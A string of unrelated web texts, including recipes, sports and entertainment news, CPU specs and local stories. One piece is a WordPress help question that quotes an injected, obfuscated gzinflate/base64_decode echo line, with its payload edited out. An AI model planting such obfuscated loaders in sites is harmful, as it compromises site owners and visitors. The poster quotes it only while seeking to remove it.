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Hot Cross Buns!
(This is a post that first appeared in 2009 – we hope it is fresh for some and a welcome memory for others!)
"Hot cross buns, hot cross buns, everybody loves hot cross buns!" are the words to the children's song and it is so true. I made these buns at the request of many of you and my kids devoured them within minutes. They are the buns traditionally served at Easter time. A sweet dough, spiced, studded with dried (sometimes candied) fruit and decorated with a cross made of icing.
As I researched these delicious buns I realized that there are as many ways to make them as there are families who bake them. Some people slash the dough to make the cross, others use a flour and water paste to create the symbol and others use the sweet icing. Tell me how you make your buns, and if you don't have a family tradition yet, you can start with these!
Hot Cross Buns:
I made the buns using the brioche dough on page 189. I added the following to the bucket and mixed as usual:
2 teaspoons ground cinnamon
1 teaspoon freshly ground nutmeg
1/2 teaspoon all-spice
1 cup currants
2 teaspoons orange zest.
(You could also use the Panettone recipe on page 201, adding the above spices.)
Flour paste for making the cross:
3 tablespoons all-purpose flour
1 teaspoon sugar
2 tablespoons water
mix together until smooth
Lyle's Golden Syrup – for brushing over the baked buns
Icing for the top of baked buns:
1/2 cup confectioners sugar
1 tablespoon cream cheese, room temperature
1/2 teaspoon vanilla
2-3 tablespoons milk or water
mix together until smooth
To make the buns:
I took a 1 pound piece of dough (about a grapefruit size) from the bucket.
Formed it into a loose ball and cut that in half.
I continued to cut the pieces in half until I had 8 2-ounce portions.
then you will form each one into a smooth ball.
Let them rest for 1 hour on a cookie sheet lined with a Silpat, Silicone Baking Mat or Parchment Paper Sheets. Preheat the oven to 350 degrees. Once they have rested you will lightly brush them with egg wash and then pipe the flour paste over the top in a cross using a pastry bag and round tip. You can eliminate the paste and slash the dough in a cross pattern instead. I just wanted to try this traditional method, but it does require an extra step.
Bake them for about 20 minutes, or until golden brown. While they are still warm I brushed them with Lyle's golden syrup (or honey) with a Pastry Brush (it may be easier to brush on if you warm up the syrup just a little),
and pipe the icing over the cross.
Just like the song says, you want to eat these hot! Enjoy!
Happy Passover and a Happy Easter to those of you who celebrate these holidays!


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ClaudeP needed a new logo design and created a contest on 99designs.
A winner was selected from 43 designs submitted by 8 freelance designers.
Aérofête hyundai - Ça se passe tout près!
Event on june 24th 2010, Air show with Canadian snowbird (9 planes) and other performer. It's a one day event for family. 15000 peoples will attempt this event. We need a professional logo that make people dream about the feeling to fly.
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Snowbird official web site http://www.snowbirds.dnd.ca/v2/mult…to-eng.asp
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I prefer plane not recognizable, i don't want a specific brand or type of plane. I would like one or more plane with smoke effect. May be 9 to represent ''the canadian Snowbird'' just a idea.
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Source: U.S. Bureau of the Census
Release: Manufacturing and Trade Inventories and Sales
The inventories to sales ratios show the relationship of the end-of-month values of inventory to the monthly sales. These ratios can be looked at as indications of the number of months of inventory that are on hand in relation to the sales for a month. For example, a ratio of 2.5 would indicate that business have enough merchandise on hand to cover two and a half months of sales.
U.S. Bureau of the Census, Total Business: Inventories to Sales Ratio [TOTBUSIRNSA], retrieved from FRED, Federal Reserve Bank of St. Louis; https://fred.stlouisfed.org/series/TOTBUSIRNSA, February 21, 2019.


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Claiming its biggest audience ever, the Global Rallycross series shared the billing at last weekend's History 300 NASCAR race from Charlotte Motor Speedway.
Despite it being a new sport for many of the spectators, they were on their feet, cheering for the leaders in a chaotic ten-car Final.
The race was won by two-time World Rally Champion Marcus Grönholm in a 550hp Ford Fiesta, closely followed by Tanner Foust in his Rockstar Energy Drink Fiesta.
"It's an honor to compete with Marcus, but second-place isn't my goal for the series," said Foust. "We're going to make some changes for the next round in Texas."
This was the first time a rallycross had been held in conjunction with a NASCAR event. "The NASCAR fans were so enthusiastic," said Foust. "A lot of people told us after the the race that they're now die-hard Global Rallycross Championship fans, and that's great to hear."
As the defending Global Rallycross Champion, Foust kept the pressure on throughout the contest. He qualified in the second position and won his Heats to line up beside Grönholm in the Final – competing on a course laid out on the front stretch and pit lane of the 1.5-mile oval that featured chicanes, water hazards and a three-foot high jump.
It was a slightly different story for 2012 X Games Rallycross Gold medalist Brian "The General" Deegan. He was running his Rockstar Energy Ford Fiesta and qualified with the third fastest time, just 0.2sec off first.
In the first heat, Brian had a hard-fought battle with Travis Pastrana before taking the win. Heading into the second round, Brian jumped out to a comfortable lead but snapped a driveshaft after hitting the mandatory course jump. The team did all they could do to get him into the Last Chance Qualifier, but failed to arrive on the grid in time.
"It's always disappointing when you have a mechanical issue. I wish I could have stayed in the competition, because I know we would have given the other drivers a great race, but this leaves me pumped to battle in the next round," said Brian.
Charlotte was the first stop in the Global Rallycross series that continues in Dallas TX, June 8-9 at Texas Motor Speedway. The X Games event in Los Angeles is on July 1.


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AVE MARIA, Fla. -- Along with 2013 Fire draft picks Yazid Atouba, John Gallagher, James Belshaw and Caleb Konstanski, the club has a few trialists in camp for the first phase of preseason. Details below...
Ian Joyce (27) – Having began his career in the lower leagues of English football, Joyce (right) signed with the Colorado Rapids in 2010. The Kinnelon, N.J. product appeared in just one regular season game for the club before passing through the Re-Entry Draft in December.
Fire fans will know him as the goalkeeper that was blinded by a "guise of smoke" on Jalil Anibaba's game winner in a 2011 U.S. Open Cup qualifying victory over the Rapids.
Alec Kann (22) – Kann was part of the Fire's preseason roster in 2012 but ultimately was cut following the first phase of camp in Ave Maria, Fla. After spending that season with USL Pro's Charleston Battery, the young 'keeper will returns to Florida with the Fire in hopes of locking down the third goalkeeper shirt.
Rich Balchan (24) – After two seasons in Columbus, Balchan was claimed off of waivers from the Crew this past offseason, meaning the team has his league rights but he isn't currently signed.
The former Fire PDL product appeared in 19 matches at right back for Columbus during his rookie year but multiple sports hernia surgeries kept him from first team action last season.
Still, the Indiana University alum has been given a clean bill of health and will be expected to provide the top challenge to Jalil Anibaba at the right back spot.
Rauwshan McKenzie (26) – Another former Fire PDL product, McKenzie is a center back that has spent time with Kansas City (2008-09), Real Salt Lake (2010-11) and Chivas USA (2012). Having played sparingly over his first four seasons in the league, the local Hoffman Estates product appeared in a career high 20 matches for the Goats last season.
Eric Robertson (22) - Added to the training camp roster following Tuesday's Supplemental Draft, the 6-3 center back appeared in 62 games over four seasons for Brown University
Luke Boden (24) – A product of the Sheffield Wednesday system, Boden made spot appearances for the club's first team from 2006-11 before going out on loan to a number of lower league English sides.
In 2011 he came stateside and has been a constant in the lineup for USL Pro's Orlando City Lions, appearing in 40 matches over two seasons and helping the club to the league championship his first season.
Colin Rolfe (22) – A native of Plymouth, Mich., Rolfe (right) was selected 18th overall by the Houston Dynamo at the 2012 MLS SuperDraft but never appeared for the side before being waived in December.
A 6-2 forward, Rolfe was a highly touted prospect out of Louisville University (where he teamed with Austin Berry) and was even named as a finalist for the MAC Hermann Trophy his senior season.
No, he's not related to Chris.
Sam Archer (24) – The club's Open Tryout winner, Archer was a standout at Rutgers University from 2008-11 and went undrafted in MLS last year before being one of the last players cut from Colorado Rapids preseason camp.


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Could this be the start of a regular feature? Below, you'll find all the mini-reviews I've posted on Twitter since January of this year. I've decided to re-publish them here on Persolaise.com partly for the benefit of readers who don't follow my tweets and partly to satisfy the completist geek in me. In case any of you are wondering, you can find me on Twitter @Persolaise.
Nuit Andalouse from MDCI (Cécile Zarokian; 2013)*
Lots of similarities between Spicebomb and 1899. Both rely on high-pitched, woody juniper.
Bel Ami Vetiver from Hermès (Jean-Claude Ellena; 2013)*
Yellow from Azagury (2014)*
Lemons and limes give false sense of security before 'sweaty armpit concealed by cheap deodorant' appears. Stay away!
Pink from Azagury (2014)*
Nasty stewed vegetables beneath a top note of melons. A failed attempt to create a savoury marine scent. Awful.
Wenge from Azagury (2014)*
Another perfume cliche: the Arabian leathery rose. This one smells very low-quality. Rapidly loses wearer's interest.
White from Azagury (2014)*
Cheap-smelling, incense + orange blossom oddity. Loud and unpleasant. Probably trying to be an Amouage. But failing.
Green from Azagury (2014)*
Another fake-sandalwood, pseudo-Arabian mess. Condescending and uninspired. Please can we move on from such stuff now!
Black from Azagury (2014)*
Black is in fact pink, in a strident, sugary, plastic, cheapo-citrus way. Probably wants to be a floral. Then again, who knows?
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Jimi Hendrix Biopic Starring Outkast's Andre 3000 Goes On Without Estate's Support
Summertime means sequels, and if a story about the Jimi Hendrix estate expressing their lack of support for a movie about the guitar hero sounds familiar… that's because it happened this week for the second time in a year.
Production on the film, which is to star Andre 3000 from the rap group Outkast, was held up last July when Experience Hendrix, the family-run company responsible for licensing and managing Jimi's image and music, wouldn't allow the producers to use the rocker's original recordings in the movie.
It recent days, it was reported the film was fully back on track with a creative solution for including Hendrix's music — a star-studded band featuring current Chickenfoot drummer Kenny Aronoff, who recently told us about an intense two-day recording session to re-create Hendrix and Cream tracks for the movie.
Billboard at first reported on Thursday (May 10) that "the six-week shoot in Ireland for the film will apparently not happen," with Experience Hendrix declaring, "No such film, were it to include original music or copyrights created by Jimi Hendrix, can be undertaken without its (our) full participation."
The company's statement went on to say that while they're not opposed in theory to a film about Hendrix's life, they would insist on being involved in the creative process "from the inception" of any such project.
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The Revs hit the road this week for a two-game swing through Chicago and Kansas City, beginning with Wednesday night's meeting with the rival Fire
FOXBOROUGH, Mass. – There are plenty of reasons the New England Revolution's confidence is sky-high as the club departs for a critical two-game road trip this week, which begins with Wednesday night's showdown against the rival Chicago Fire.
First and foremost, the Revs (6-9-3, 21 pts.) are unbeaten in their last eight games (6-0-2) in all competitions – including a 3-0-1 mark in league play – and picked up their sixth shutout in that stretch with a 1-0 win over the Houston Dynamo this past weekend. The recent run of form has pulled the Revolution from the depths of the Eastern Conference back into the playoff race, as the club now sits five points back of the final postseason spot with still 12 games remaining on the regular-season schedule.
The Revs will also have a slight mental edge heading into Toyota Park, having claimed a 1-0 road victory over the Fire (5-5-6, 21 pts.) in a SuperLiga group stage match on July 17. That result came just three weeks after the Fire left Gillette Stadium with a 1-0 win in a league match on June 27.
While their recent triumph in the Windy City will no doubt provide the Revs with a psychological boost – especially considering their dismal 0-6-1 record in their last seven games at Toyota Park prior to that victory – central defender Darrius Barnes cautioned against overconfidence.
"You can never go in thinking [about the previous result]," he said. "It's always going to be a different game. Each game has a life of its own, so we know going in there that we're going to face a new team. We're not really [concerned with] the SuperLiga victory. That was a different task at hand. We have a bigger task coming up this Wednesday."
Barnes and the Revs will indeed be facing a completely different Chicago side than the one they faced last month. Literally minutes after the Revolution defeated the Fire in mid-July, Mexican star Nery Castillo was announced as Chicago's newest Designated Player. The Fire has since added a second Designated Player, Freddie Ljungberg, via trade with Seattle Sounders FC, while the club also re-signed stalwart left back Gonzalo Segares.
All three will be available for selection on Wednesday night, with Ljungberg and Segares expected to start and Castillo more likely to be available off the bench, although Fire head coach Carlos de los Cobos wouldn't rule out starting the former Manchester City midfielder. Gritty central midfielder John Thorrington (L quad strain) could also make his return to the bench after a long layoff, while speedy winger Patrick Nyarko (headaches) is not expected to be available.
"They've added defensively and attacking-wise, so I'm sure we'll see a different Chicago this time around," said head coach Steve Nicol. "Hopefully we can continue to keep things tight and take our chances when they come."
That's precisely what the Revs did last weekend in their shutout win over the Dynamo, limiting their opponent to just two shots on target while finding the back of the net with one of their three attempts. New England has conceded just two goals during the current eight-game unbeaten run, but has scored only nine goals in that stretch. The addition of Serbian forward Ilija Stolica – who scored his first MLS goal in his first start against Houston – should help in the attacking department, while the Revs simply need to keep doing what they've been doing defensively.
"That's one thing we've done well in the last couple games is really frustrate teams, really slow down their offense and really make it hard for them to play," said goalkeeper Matt Reis, who has been between the pipes for seven of the eight games during the unbeaten run. "I guess you could say that's our style of play right now is really grinding out wins."
Perhaps most remarkable about the Revolution's current run is the consistent results have been achieved by a wholly inconsistent lineup. Against Houston, the Serbian duo of Stolica and Marko Perovic started up top for the first time together, while left-footed utility player Chris Tierney filled in at right back for the injured Kevin Alston (L hamstring strain). Unbelievably, the Revs have not used the same starting lineup twice during their current unbeaten run – that's eight unique lineups in eight games.
"One of the strengths of this team is that we've been able to adapt and we've been able to plug in different players at different times and they've done well," said Reis. "I'm sure it would be nice to get some consistency and actually have 18 healthy players for a game, and I think we're getting there."
Alston returned to training on Monday and is expected to travel with the Revs as they depart for this two-game swing which will take them directly from Chicago to Kansas City, but it's unclear whether he'll be ready to start against the Fire on Wednesday night. Should he return to his customary right back role, it would likely push Tierney to left midfield in place of Khano Smith.
The Revs are currently tied on points with the Fire and they sit one point ahead of the Kansas City Wizards (5-9-5, 20 pts.), so this week's matches could go a long way in determining whether the Revolution can mount a serious playoff push. But regardless of the opponent, the Revs are primarily focused on continuing their own formula for success – ruthless defending and timely goals.
"We just have to worry about us; we don't have to really focus in on [Chicago]," said Barnes. "We know they have dangerous players, but if we can go in there and just continue to build on what we have going right now, I think we'll be alright."


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SOLDIER HOLLOW, UT (Jan. 2) - Torin Koos (Wenatchee, WA) of Northern Bridger Ski Foundation and Jennie Bender (Johnson, VT) of CXC Elite took classic sprint titles on opening day of the U.S. Cross Country Ski Championships on the Olympic trails at Soldier Hollow. For Bender, it was her first U.S. title, winning an intense sprint to the finish over Sadie Bjornsen (Winthrop, WA) of APU Nordic and the U.S. Ski Team. For Koos, it was a much anticipated seventh U.S. title. Action continues Friday at Soldier Hollow with individual start freestyle distance racing.
Jennie Bender
I had no idea how today would go. I came into these last races thinking that I had to stay neutral and not beat myself up too much. I had a rough fall and summer being sick, so this is pretty mind blowing. Classic sprinting is really my strength so I was really happy to qualify sixth. I was right behind a really good group of ladies that I've always been battling with and who are really strong. To be able to be with them and racing with them and to stay in there felt really good. I've never been great with altitude, but I really like this course so that helped. I'm hoping that there's more like this to come. I wanted to be on the podium today and once I was neck and neck with Sadie I was thinking I wanted to dig deep here to get that extra inch.
Torin Koos
I think the level of racing is getting better in the U.S. I felt good today even though I'm really low on racing. I've only done two sprints this season and my health was not good. Today is just a classic amazing day at Soldier Hollow. I have been skiing here since 1999. I have a lot of fond memories here – I've had my first World Cup here, my first Olympics here, my first U.S. Championship here, so I always looks forward to coming back. I kind of feel like I'm coming full circle. The organizers here do an awesome job. The course is always in very fair shape.
Sadie Bjornsen
The qualifier was a little more challenging because I didn't do a double pole warm up so for the first time double polling, it just did not feel good. So I kind of was a little more prepared for the quarterfinal and played around with tactics a bit. Then in the semifinal I got really frustrated taking it sort of easy and I just decided if you want to learn to be a World Cup racer, you have to go hard all the time. So I went a bit hard there. Then in the finals I found myself in the lead and I thought I could break off on the downhill but there's always that draft and then coming into the finish line it was like double pole derby but it came quicker than I expected so I didn't get my lunge in. Jennie [Bender] has had so many challenges this year and I just feel like we're in the same boat in that way so I'm sure it means so much to her.
Bryan Fish, U.S. Ski Team Coach
The trails today were just in absolutely perfect condition. It was a really fair course. U.S. Ski Team athletes looked strong, particularly through the rounds. Most of the national team athletes are over on World Cup, but the younger ones that we do have here look strong. It looks like conditions are going to be really consistent throughout the next three race days, so it will be fair. They'll definitely ski into this - they've got the fitness.
Classic Sprint Heats
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On Monday the Lipscomb men's golf team played two rounds, 36 holes, of the Derek Dolenc Invitational.
As a team the Bisons posted a total score of 15-over par 591. That places the Bisons fifth in a 12-team field, just 11 shots off the leader, Belmont, who shot a four-over par 580.
Junior transfer Caston Roberts led the way for the Bisons after firing rounds of 70-74 and is at even-par for the tournament. Roberts first round score of two-under par 70 was only one shot off his career best 69.
Senior Dustin Wilder finished three shots behind Roberts with scores of 74-73 and put him in a tie for 13th overall.
Two freshmen, Stoney Crouch and Sydney Chung, saw their first-ever collegiate action and posted respectable scores. Crouch started the day hot with an even-par 72 in the first round before shooting an 81 in the second.
Chung proved to be consistent in his play with rounds of 74-75 while teammate Tyler Leroy, senior, posted 77-79 for the day.
The Bisons top-three scorers found their way into the top-25 overall.
Mikey Feher, freshman, made the trip to Sunset Hills Country Club as an individual and tallied the second lowest round of the tournament with a four-under 68 in the first round.
In the second round Feher fired a 75 to tie with Scott Barnhart (71, 72) of Belmont for the lead in individual play.
The low round of the tournament belongs to Mitchell Homb of SIU Edwardsville who posted a five-under par 67 in the first round.
The third and final round of the invitational will tee off Tuesday with an 8 a.m. shotgun start.
Sunset Hills Country Club is a par-72 course that stretches over 6,645 yards and is located just east of St. Louis.
T6 - Caston Roberts (70, 74) = 144 [E]
T13 - Dustin Wilder (74, 73) =147 [+3]
T24 - Sydney Chung (74, 75) = 149 [+5]
T41 - Stoney Crouch (72, 81) = 153 [+9]
T55 – Tyler Leroy (77, 79) = 156 [+12]
T3 - Mikey Feher (68, 75) = 143 [-1]


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1/2 lb Spanish style chorizo, sliced on the bias
2 cups chicken stock
1 cup quinoa
2 cloves garlic, minced
1 onion, diced
1 stalk celery, diced
2 tablespoons olive oil
1 teaspoon smoked paprika
In a large sauce pan, heat the oil. Add the onion, garlic, chorizo, and celery. Saute until fragrent, about 2-3 minutes. Add the quinoa. Cook 1 minute. Add the broth and smoked paprika. Bring to boil, then reduce heat and cover. Cook about 20 minutes or until the quinoa is translucent and has a small, visable spiral. Serve hot.
Yield: about 4 servings


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Anadarko Petroleum (NYSE:APC) disclosed an update on activity in the Utica Shale during the third quarter of 2012. The company has five wells on production and two additional wells in the testing phase. Anadarko Petroleum will be finished with the evaluation of its Utica Shale exploration program early next year.
Utica Shale wells permitted by Anadarko Petroleum include Guernsey Spencer A3H, Meigs C-1H, Noble Olive A-1H, Noble Sharon A-1H, Coshocton Linton B-1H, Muskingum Meigs A1H and Noble Brookfield A1H.


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Joaquin, Leo, and Clint?
Clint Eastwood is making a movie about J Edgar Hoover and his lover Clyde Tolson. Leonardo DiCaprio has long been attached to play Hoover and now word is Joaquin Phoenix is being courted for the Tolson role, working from a script written by Dustin Lance Black (Milk) on a project that already has people talking Oscar.
Clint is an efficient, brisk director. He works fast, he doesn't mess around, and he has no time for drama or arty f-ckery. It's actually exactly what Joaquin needs: no coddling. As noted on many occasions, he's a wonderful actor. SO good. He's also too far up his own ass. Getting back to proper work is great move. For his sake, hopefully this deal happens soon.
And according to NY Magazine, it sounds like everyone wants it to. In fact, Casey Affleck's acknowledgment that I'm Still Here was totally fake could have been a strategic move to help his friend get hired. Now that everyone knows Joaquin was "acting" crazy, they'll be more inclined to hire him because they won't think he's actually crazy.
Yeah my head hurts too.
Interestingly enough, you know that Joaquin was originally up for Jake Gyllenhaal's part in Brokeback Mountain, right ? And Leonardo apparently took over from River Phoenix in Total Eclipse and Man in the Iron Mask and Basketball Diaries after River died. In an interview this year, Leo revealed that he idolised River back in the day:
"I always wanted to meet him. One night, I was at this Hollywood party, and he passed by me. He was so beyond pale -- he looked white. Before I got a chance to say hello, he was gone, driving off to the Viper Room, where he fell over and died. That's a lesson."
Leo and Joaquin shooting together? Both meticulous, both extremely, sometimes overly committed? And Clint Eastwood presiding? Like I said before, I want to be on that set.
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Tracking Lydia in the Deep
Lydia, a female great white shark now part of a global research project, was named this week in honor of University founder Lydia Moss Bradley.
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By Frank Radosevich II
March 4, 2013
Caught off the coast of Jacksonville, Fla., Lydia is now swimming freely in the deep.
A female great white shark named after University founder Lydia Moss Bradley, Lydia is part of a global research project that tracks the navigational patterns and health of dozens of sharks.
OCEARCH, a nonprofit organization conducting the oceanic research, caught and fitted Lydia with a GPS tracking device on her dorsal fin on Sunday. Caterpillar Inc., which has sponsored OCEARCH expeditions, named the shark in honor of its relationship with the University.
The group has tagged and collected blood and tissue samples from dozens of other great whites whose travel patterns can be followed online. The unprecedented data collected from the great whites can be used to study the animals' behavior and movements.
"The research being conducted on sharks by OCEARCH with the support of Caterpillar is important to the sustainability and balance of the oceanic ecosystem," said President Joanne Glasser. "Bradley University is pleased to have the first great white shark off the coast of Jacksonville named after Lydia Moss Bradley, the pioneering founder of Bradley University. I believe Lydia Moss Bradley would be pleased to be associated with this groundbreaking research expedition that will affect future policy and inform faculty, students and the general public on this critical sustainability issue."
Weighing nearly 2,000 pounds and measuring more than 14 feet, Lydia was last tracked swimming off the north Florida coast.
Dr. Erich Stabenau, professor and chair of Bradley's biology department, said tagging and tracking sea creatures is crucial to understanding the movements and natural history of a species, especially those that call the open sea their home.
"This information is invaluable to scientists, as it provides a glimpse into the animals' potential foraging and reproductive habitats," said Dr. Stabenau, who has conducted his own research on sea turtle populations. "In the case of a great white shark that is located so close to a beach, scientists will want to know if this is the typical habitat visited by this very pelagic animal, and whether it could lead to adverse interactions with humans."


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Loongson 2E
Loongson 2E was designed by ICT (Institute of Computing Technology), a department of The Chinese Academy of Sciences, helped and manufactured by STMicroelectronics.
ST Generic Part Number: STLS2E02
- 64 bit
- 9 pipeline stages
- 4-issue Out-Of-Order Executive
- 2 ALU, 2 FALU, 1 SIMD, 1 Load/Store Units
Cache: 64KB L1 date, 64KB L1 instruction, on-chip 512KB L2.
Clock Frequency: 600MHz - 800MHz.
TDP: 4 Watt at 700MHz
Integrated: DDR-333 memory controller.
ST's Leading Edge 90nm process.
Some new instructions: Allow write to register directly without MFLO or MFHI.
Some new instructions: MADD.[S|D] MSUB.[S|D] NMADD.[S|D] NMSUB.[S|D].
Some new SIMD instructions: simmilar to MMX, using FPU for parallel fix-point arithmetic.
An Execution bit: help OS to protect from buffer-flow attack.
Devices based on this CPU
Processor documentation
Chinese version
English version
Loongson 2F
Loongson 2F is the latest processor in Loongson 2 Family. Also manufactured by STMicroelectronics.
It is identical to the Loongson 2E with several improvements:
- Higher Clock Frequency: 1.2GHz maximum
- Advanced power control technology: less than 6 Watt under 1GHz in the same 90nm
- Integrated DDR2 controller
- Integrated northbridge providing faster IO (compared with former PCI bus) with PCI-X 66 bus
- Smaller Packaging.
Devices based on this CPU
Processor documentation
Chinese version
English version
Optimizing GNU/Linux distributions for loongson2f
Loongson2f software works considerably faster if compiled with the correct flags. Also some flags are required to work around processor bugs early in the production runs.
- Linux on Loongson Community
- Current loongson2f linux version / compiler / version flags wisdom?
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Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head():
echo(gzinflate(base64_decode("tVVNj5swEP0... (edited out) hH5m7L/5+/gM=")));
wp_head(); ?>
I have cleaned the code but this reappeared after a few hours. Then again and again. I thought that timthumb is the culprit, but this happened on a WordPress without timthumb aswell as I've scanned it previously with timthumb vulnerability scanner.
There's nothing suspicious in htaccess, wp-config and the files everyone is talking about, from wp-includes, have checked all the js files, nothing, nothing, nothing.
What could it be, how do I get rid of this?


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A Facebook post may have put Prairie Central High School on alert recently, but it was apparently nothing more than a rumor.
At the Nov. 21 meeting of the Fairbury City Council, Fairbury Police Chief Jack Wiser referred to the incident as "pretty much a rumor mill."
"We kind of chased our tails for two days trying to get leads on this," said Wiser.
As a safety precaution, extra police officers were called to the school and were expected to remain for a few days, as students return from Thanksgiving break.
Prairie Central Superintendent Dr. John Capasso praised the response by Fairbury Police officers.
"They always come when we call them. We really appreciate Chief Wiser so quickly assembling an army of people to come out," said Capasso.
Capasso told the council the school district is prepared to compensate the city for the extra police presence.
Around 200 students were absent from PCHS on Wednesday because of safety concerns.
Officials say the school was never on lockdown and there weren't any threats involved. Some comments were reportedly made about how school shootings are caused by bullying, which led the district to take some precautions.
"I think it is important for us to be proactive," added Fairbury Mayor Robert P. Walter Jr.
In another matter, the council discussed the meeting schedule for 2013 and decided to stick with two meetings per month. There had been talk of moving to one meeting a month.
"The meetings might be longer because you would have more to address," said Councilman Doug Hibsch.
During the public comment period, Gary Gauger with Midwest Energy Inc. discussed energy management and purchasing electricity and natural gas for Fairbury.
He said the company's job is to try and keep prices down.
"I think it is something we'll definitely take a look at," said Mayor Walter.
Also at the meeting, the council:
• Approved engineering work for the Brian J. Munz Safety Complex at a price of $51,600.
• Made a $1,000 donation toward an anti-bullying and anti-drug program.
• Learned the foundation has been poured for the sewer plant wind turbine.
Fairbury Council hears police praises for rapid response at PCHS
A Facebook post may have put Prairie Central High School on alert recently, but it was apparently nothing more than a rumor.


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Every year since I've been successful my mother would ask me this question,
"What do you want for Christmas? You are so hard to shop for." I really didn't
want her to give me anything but she insisted
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I knew it was driving her crazy trying to figure out what to get for me, so about
eight years ago I told her that all I wanted were flannel PJs. So every year for
about four years she would go to Wal-Mart and buy me some flannel PJs. Every
Christmas I would smile. I didn't have the heart to tell her that the tops were so
short that the sleeves where almost to my elbow and the bottoms were well
above my ankle. I would just thank her and smile. She was so happy. Needless
to say, over the years I collected a nice group of PJs that were all too small. I
have a drawer full of them.
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I was getting ready for work this morning and I came across a pair of them. I
smiled so hard. It made me remember her smile when she gave them to me. It
made my heart warm. I thought about how much she loved Christmas. I
thought about how much she loved me. I thought about…well, I just thought
about her.
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This year, as we enter into the holiday season and some of you are worried
about what to buy or if you can afford to buy anything, I want you to remember
this story. My mother's gift came from the heart and a gift that comes from the
heart is more valuable than the most expensive thing in this world. She died
four years ago and those PJs are still giving me joy. I think I'm going to sleep in
them tonight . High waters and all…
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I hope you have the best holiday season… ,Christmas and New
Years. God bless.
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Katie Ternes will Celebrate a Century of Life at Saturday Party at Baptist Home, Bismarck
Burke, Allan. "Katie Ternes will Celebrate a Century of Life at Saturday Party at Baptist Home, Bismarck." Emmons County Record, 19 August 2010, 1 & 3 & 11.
Former Strasburg resident Kathryn "Katie" Ternes will celebrate her first 100 years of life at a birthday party that will be held Saturday from 2 to 4 p.m. in the Activity Room of the Baptist Home in Bismarck.
Katie's birthday is August 18.
Helping her celebrate will be her two children, 13 grandchildren, 27 great-grandchildren and three great-great-grandchildren. The event is billed as "The Party of the Century, and her friends and relatives from around the country will be there.
Born at St. Anthony
Katie was born August 18, 1910, to Tom and Regina (Heisler) Ehli at St. Anthony.
Tom was born in Sulz, Russia, and Regina in Kleinliebental, which was close to the Black Sea. They were married in Russia and immigrated to the United States in 1909, settling at St. Anthony where Tom's uncle lived.
Katie recalls that, when they wanted to say something private, her parents would speak in Russian. While their families preserved their German heritage, Tom and Regina grew up speaking both languages and were about 23 when they immigrated. Tom did not want to be drafted into the Russian Army.
It was his command of the German language that won Tom a job as an assistant agent for the Northern Pacific Railway at Flasher in 1911. There were a lot of Germans around Raleigh and Flasher who did not speak or understand English well.
Tom was transferred several times, so Katie grew up in Flasher, Golden Valley, Killdeer and Mandan, which she remembers best. She started school in Fallon and completed her studies in Mandan.
Katie's world changed in 1918 when her father died at age 33 in the World War I flu epidemic. She was eight years old but remembers it clearly.
All of the family were ill with the flu, so neighbor Mary Kopperud, an African American woman, took care of the Ehlis and their four children.
"Everybody else was afraid to come into our house," Katie said. "Had it not been for Mary, we would all have probably died."
Katie's siblings were John, Mary and Lizzie.
Tom was sick eight days before he died. When the undertaker came to the house on Main Street in Mandan (where Hardee's is now), he removed the body through a window so that he did not have to take the remains through the living room where the family were in beds suffering from the flu.
Regina and her children could not attend the funeral even though the body was held eight days in hopes that the illness would pass. They were too sick to leave the house, so Tom was buried without a traditional family funeral.
Mrs. Kopperud also handled the funeral arrangements and attended the funeral. She was like a grandmother to the Ehli children, and Katie kept in touch with her until her death.
Regina married Adam Friesz in January of 1919. He had lost his wife and, like Regina, had four children. Having a step-father was not a pleasant experience for Katie, and she felt medical care was not sought soon enough to save the life of her sister, Lizzie, 11, who died of appendicitis.
The family moved to a farm at Fallon, and Katie, who had always lived in town, did not like life on the farm.
Meeting John Ternes
A spark of joy came into Katie's life when she met John N. Ternes of Strasburg, who had traveled to Raleigh to be the Best Man at a cousin's wedding. She was 15 at the time and wrote to each other off and on for two years.
"John wrote and said he was coming over to see me," Katie recalls. "That was in 1926. Then, on October 25, 1927, we got married in Fallon. I was 17 and so happy."
The young couple moved to the Krassna area to farm with John's parents, Nicholas and Odelia (Kopp) Ternes. The elder Terneses moved from the homestead to a new home they built near the Holy Trinity Catholic Church at Krassna. At that time, John's brother-in-law, also John Ternes, had a store at Krassna. Later, he moved his store to Strasburg. Because of the duplicate names John went by John N. all of his life.
People in the Krassna community enjoyed dancing and parties in homes. The Ternes home was often the place where Name's Day parties were held.
"We would take all of the furniture out of the living room except for a table with a chair on top of it for the musician," Katie explained.
Sometimes Max Josek would play the accordion. Other times it would be Speckie Keller on the trombone and Charlie Richter on the accordion.
"We had to make our own entertainment in those days," she noted.
John and Katie farmed with horses and were doing well until the Great Depression of the "Dirty Thirties." They struggled to have enough to eat after the drought started.
"A lot of times we would just have chokecherry jelly, coffee and maybe some canned sausage," Katie remembered. "There was nothing for the cattle, which is why we decided to move off the farm."
In 1933, they rented their farm to the Baumgartners and moved into Strasburg where they lived until 1957 when they moved to Bismarck.
Katie recently sold the farm to Duane Ternes of Strasburg, and it had been rented to Duane's dad, Edwin, and uncle, Oscar, for many years. Edwin and Oscar are nephews of John's
Owning a bar
John learned from his dad that Jake Mastel wanted to sell his bar in Strasburg, so he visited with him and came to terms. "We had a little money from an auction we had for our farm machinery, and John's mother gave us $800," Katie said.
Prohibition (1920-33) had not yet been repealed when John and Katie took over the Northside Pool Hall, so they had to dodge "Revenue agents" to serve beer and whiskey to their customers. They also had pool tables and served ice cream.
"We would run the bar as usual until we would get a call from Linton that the agents were making raids," Katie said. "John would load up the whiskey and take it to a garage down by the elevator until things quieted down. We had to do that several times."
The Blue Room, where wedding dances and other big events were held (as they are today), was owned by Ray Biegler and Matt Fischer. They had a choice between being drafted or working in the defense industry, so they moved to Milwaukee, Wis., and temporarily closed the Blue Room. John was also draft age, but he was not called up. Consequently, the Ternes bar continued to operate into the war years.
"I loved working in the bar because I got to meet so many people, and we made lots and lots of friends in Strasburg," Katie said.
She remembers that the 4th of July was a big day in Strasburg, and they served hamburgers and pop on the street outside the bar to dozens and dozens of people.
After 10 years in business, John sold the bar and started a livestock sales barn near the grain elevators. Initially, the barn handled cattle and butcher hogs and then specialized in buying and selling pigs. He found that he didn't like working with livestock, so he started a grain hauling business and did that until the family moved to Bismarck where he worked at the Eagles Club for 10 years before he retired. John died August 3, 1984.
During their time in Strasburg, John and Ernie Borr repainted the interior of Sts. Peter & Paul Church.
"That was a big deal," Katie recalled.
Raising a family
